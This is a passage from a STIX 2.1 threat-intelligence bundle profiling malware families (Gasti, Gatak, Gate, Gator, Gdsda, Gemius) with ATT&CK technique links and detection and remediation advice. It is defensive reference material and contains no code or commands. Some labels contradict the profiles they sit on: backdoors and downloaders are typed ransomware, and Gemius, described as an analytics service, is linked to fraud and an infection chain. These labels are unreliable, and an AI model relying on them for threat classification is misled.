          "description": "Canonical Malware Families Catalog Technical Profile for Garvi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/garvi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67226818-cd44-5910-8332-31c59f90b25a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebae5b12-5792-520b-ab24-f4cecbc26d6a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garvi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89a55847-c2ef-591d-b7eb-8dc0d5eadaf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebae5b12-5792-520b-ab24-f4cecbc26d6a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garvi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2be78a63-085c-5815-9acd-8c8bacea968b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebae5b12-5792-520b-ab24-f4cecbc26d6a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garvi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--58c9bd6e-9cdc-5d29-b8ad-8eda2bbedab3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gasti",
      "description": "Trojan:Win32/Gasti is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gasti</b><br>To an end-user, a Gasti infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gasti is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gasti is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gasti frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gasti reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gasti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gasti"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ce6003b-184e-5056-894b-a321bf7a8afc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58c9bd6e-9cdc-5d29-b8ad-8eda2bbedab3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gasti exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00260d3d-cefc-59a4-a9b0-5f10dc47cdf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58c9bd6e-9cdc-5d29-b8ad-8eda2bbedab3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gasti exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57394368-d3c5-55b5-9756-3cf6fc013891",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58c9bd6e-9cdc-5d29-b8ad-8eda2bbedab3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gasti exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--812d9ecf-a6ae-52b8-a537-b9c29796104b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58c9bd6e-9cdc-5d29-b8ad-8eda2bbedab3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gasti exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--faa2f6eb-6ad5-5782-8102-583c90c7877f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58c9bd6e-9cdc-5d29-b8ad-8eda2bbedab3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gasti exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4de4b93d-409e-5f2a-8a86-ae46b586c437",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gatak",
      "description": "Trojan:Win32/Gatak (also tracked by Symantec as Trojan.Zbot/Gatak and sometimes functioning as ransomware) is a highly sophisticated malware family infamous for its targeted attacks on the **healthcare sector**. It is primarily distributed through 'watering hole' attacks on websites offering pirated software and keygens. Once inside a network, Gatak acts as an advanced backdoor, allowing attackers to perform reconnaissance, steal sensitive patient data (PHI), and potentially deploy ransomware across the hospital network.<br><br><b>Understanding Gatak (Healthcare Targeting)</b><br>To an end-user, the initial infection usually occurs when trying to install a cracked software application. For a hospital SOC, a Gatak infection is a 'Code Red' incident. Gatak actors are known for their patience; they will spend weeks mapping the internal network, identifying critical servers housing electronic health records (EHR), and escalating privileges before taking destructive action.<br><br><b>Execution and Evasion Strategies</b><br>Gatak is distributed when a user downloads and executes a malicious software keygen (`T1204.002`). The malware is heavily obfuscated and uses steganography to hide its C2 configuration data within seemingly benign image files (`T1027.003`). Upon execution, it achieves persistence (`T1547.001`) and begins extensive network discovery (`T1046`, `T1016`). It uses advanced process injection techniques to blend in with legitimate system processes (`T1055`). The backdoor allows the attackers to deploy secondary modules, such as credential dumpers (`T1003`) and data exfiltration tools (`T1048`), specifically searching for databases and medical imaging files.<br><br><b>Indicators of Compromise & Impact</b><br>The impact can be catastrophic, leading to massive HIPAA violations, compromised patient care, and full network encryption if ransomware is dropped. Host-based IoCs include EDR alerts for suspicious child processes spawning from downloaded keygens or cracking tools, and unusual registry modifications. Network IoCs include beaconing to known Gatak C2 infrastructure and anomalous lateral movement (SMB/RDP) originating from a non-administrative workstation. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gatak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gatak"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f1f7453-b9f0-5489-a6e8-46d5d3dd1485",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de4b93d-409e-5f2a-8a86-ae46b586c437",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gatak exhibits technique T1204.002 (User Execution: Malicious File (Keygens/Cracks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a668cde-24b3-544c-9f95-cbe6d64970ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de4b93d-409e-5f2a-8a86-ae46b586c437",
      "target_ref": "attack-pattern--4481688a-8575-5616-a5d0-9b36b9db0d8f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gatak exhibits technique T1027.003 (Obfuscated Files or Information: Steganography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6783f9e-e255-558c-83fd-918e2b287b2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de4b93d-409e-5f2a-8a86-ae46b586c437",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gatak exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17ea31d8-919c-5158-b9f0-b09622bc0225",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de4b93d-409e-5f2a-8a86-ae46b586c437",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gatak exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8cfe56e1-dff8-5d50-9652-5413aa738bd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gate",
      "description": "Trojan:Win32/Gate is a persistent, stealthy backdoor trojan designed to silently breach endpoint defenses, establish long-term persistence, and open a covert communication channel (a 'gate') to a Command-and-Control (C2) server. This allows remote attackers to fully compromise the system, execute arbitrary commands, and exfiltrate data.<br><br><b>Understanding Gate</b><br>To an end-user, a Gate infection is completely invisible. There are no immediate symptoms. For a security team, Gate represents a severe, ongoing compromise. It is often used by Advanced Persistent Threat (APT) groups or as a staging tool by ransomware affiliates to maintain a foothold in a network while they map the infrastructure and escalate privileges.<br><br><b>Execution and Backdoor Mechanics</b><br>Gate is typically delivered via highly targeted spearphishing emails (`T1566.001`), exploitation of edge services (like vulnerable VPN gateways) (`T1190`), or as a secondary payload dropped by an initial access broker. Upon execution, it achieves persistence by creating a hidden Windows Service (`T1543.003`) or modifying the Registry Run keys (`T1547.001`). The malware then initiates a covert beacon to its C2 server, often disguising its traffic as legitimate HTTPS or DNS requests (`T1071.001`, `T1071.004`). Once the connection (the 'gate') is open, the attacker can execute remote shell commands (`T1059`), download further tools (like credential dumpers or network scanners) (`T1105`), and exfiltrate sensitive files (`T1048`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system control and the high probability of lateral movement across the network. Host-based IoCs include EDR alerts for unknown executables running as system services, suspicious child processes spawning from `svchost.exe` or `explorer.exe`, and unauthorized modifications to the registry. Network IoCs are the most critical: persistent, periodic beaconing (e.g., every 5 minutes) to a newly registered or anomalous external IP address or domain. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d991059e-3c09-59f0-be52-799982b7af70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfe56e1-dff8-5d50-9652-5413aa738bd8",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gate exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Beaconing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b266470a-a725-54e4-9a3c-afb439f302eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfe56e1-dff8-5d50-9652-5413aa738bd8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gate exhibits technique T1059 (Command and Scripting Interpreter (Executing remote commands))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78c9ec3b-fffb-59bf-a5db-49e1b360ca28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfe56e1-dff8-5d50-9652-5413aa738bd8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gate exhibits technique T1105 (Ingress Tool Transfer (Downloading further malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1945c0d7-6c0a-5949-b8c1-9632eda09256",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfe56e1-dff8-5d50-9652-5413aa738bd8",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gate exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc26d131-aa16-5713-85b4-626144dc0303",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gator",
      "description": "Gator (developed by The Gator Corporation, later rebranded as Claria Corporation, and cataloged across security databases as Adware:Win32/Gator, GAIN, and Spyware.Gator) is a landmark historical adware and spyware platform that dominated the early 2000s Internet landscape. Bundled into popular freeware and peer-to-peer applications of the era\u2014most notably the Kazaa file-sharing client, audio players, and digital clock utilities\u2014Gator positioned itself as a digital wallet and password manager while silently installing the GAIN monetization engine. Once active, Gator performed continuous surveillance of user web browsing behaviors, logging visited URLs, search engine queries, and shopping habits to serve contextually targeted pop-up and pop-under advertisements. The software was notorious for aggressive persistence mechanisms that resisted uninstallation, re-downloading deleted components through background helper services and sparking landmark legal, regulatory, and privacy debates regarding deceptive consumer software bundling. (Observed samples in benchmark: 54)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Gator",
        "GAIN",
        "Gator Advertising and Information Network",
        "Claria.Gator",
        "Spyware.Gator"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gator"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82450ea4-1019-55ee-a416-bf0d6b095cf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc26d131-aa16-5713-85b4-626144dc0303",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gator exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e9eea83-0a43-51f7-b890-9f2a67e81e8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc26d131-aa16-5713-85b4-626144dc0303",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gator exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17ad9644-84ec-5432-97cc-f891e9bf5438",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc26d131-aa16-5713-85b4-626144dc0303",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gator exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad62f8df-4f21-5b43-888e-4f6db5deedd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc26d131-aa16-5713-85b4-626144dc0303",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gator exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbef9fda-8c0e-5929-8677-9deffca51bcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc26d131-aa16-5713-85b4-626144dc0303",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gator exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4fa517e0-0950-5bc3-a7f3-1a5dc01af723",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gdsda",
      "description": "<h3>Executive Summary</h3>\nGdsda is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGdsda is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Gdsda operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Gdsda ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Gdsda receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Gdsda infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Gdsda executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Gdsda frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gdsda",
        "Downloader.Gdsda",
        "Win32/Gdsda"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gdsda",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gdsda"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3eea869-3f05-5dea-8caa-d7b70d7afcdf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fa517e0-0950-5bc3-a7f3-1a5dc01af723",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gdsda exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c449eee-4d1c-5579-8bec-ea29e2739adc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fa517e0-0950-5bc3-a7f3-1a5dc01af723",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gdsda exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--052e03a7-5bde-56c0-87c0-3154426d8d43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fa517e0-0950-5bc3-a7f3-1a5dc01af723",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gdsda exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65a9c2d2-2787-55ba-b84c-71c7126e5e92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gemius",
      "description": "<h3>Executive Summary</h3>\nGemius is a prominent web analytics and audience measurement technology. While technically a legitimate commercial service used by website publishers to track visitor demographics and behavior, aggressive implementations of Gemius tracking scripts (or bundled local software components) are frequently flagged by security vendors as \"Riskware,\" Adware, or Potentially Unwanted Programs (PUPs). This is due to deep cross-site tracking capabilities and the potential for unauthorized data harvesting without explicit user consent.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nIn a corporate context, Gemius is typically encountered not as an installed application, but as embedded JavaScript and persistent tracking cookies (often Flash cookies or Local Shared Objects) dropped when a user visits a website utilizing the Gemius analytics platform.\n\nWhen flagged as a PUP/Adware, the technical concerns revolve around privacy:\n<ul>\n<li><strong>Persistent Cross-Site Tracking:</strong> Gemius utilizes sophisticated tracking techniques (including fingerprinting and persistent LSOs) to track users across multiple unaffiliated domains, building a comprehensive profile of their browsing habits.</li>\n<li><strong>Data Exfiltration:</strong> The scripts silently collect significant amounts of telemetry, including IP addresses, browser configurations, screen resolutions, and detailed clickstream data, exfiltrating this to remote analytic servers.</li>\n<li><strong>Adware Bundling:</strong> In some instances, explicit \"survey\" or \"measurement panel\" software from Gemius or its affiliates is bundled with other freeware applications, operating persistently in the background to monitor system and network activity.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nGemius is not destructive malware. The primary threat is a violation of corporate privacy policies and potential non-compliance with data protection regulations (like GDPR or CCPA). Extensive cross-site tracking can inadvertently expose sensitive corporate research patterns or user identities.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Privacy Policy Enforcement:</strong> The presence of Gemius tracking highlights the need for robust endpoint privacy controls. Deploy enterprise-wide browser policies (via Group Policy) to enforce Strict Tracking Prevention and block third-party cookies.</li>\n<li><strong>Network Level Blocking:</strong> To completely eliminate the telemetry, network administrators should add known Gemius tracking domains to DNS sinkholes or firewall blocklists.</li>\n<li><strong>Targeted Uninstallation:</strong> If a local Gemius software component (like a \"measurement panel\") was installed via a software bundle, it should be removed using standard enterprise software management tools or anti-malware scanners configured to detect PUPs.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.Gemius",
        "Adware.Gemius",
        "PUP.Tracking.Gemius"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gemius",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gemius"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d75d1d3f-c79b-59a7-bccd-4a2f56086831",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65a9c2d2-2787-55ba-b84c-71c7126e5e92",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gemius exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fa1e95f-5e9c-5d67-89b0-7048c4942488",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65a9c2d2-2787-55ba-b84c-71c7126e5e92",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gemius exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a96407d3-6587-5f5c-9771-f23f3050ba44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65a9c2d2-2787-55ba-b84c-71c7126e5e92",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gemius exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3812676d-b106-52bc-a2c4-99947e06369e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65a9c2d2-2787-55ba-b84c-71c7126e5e92",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
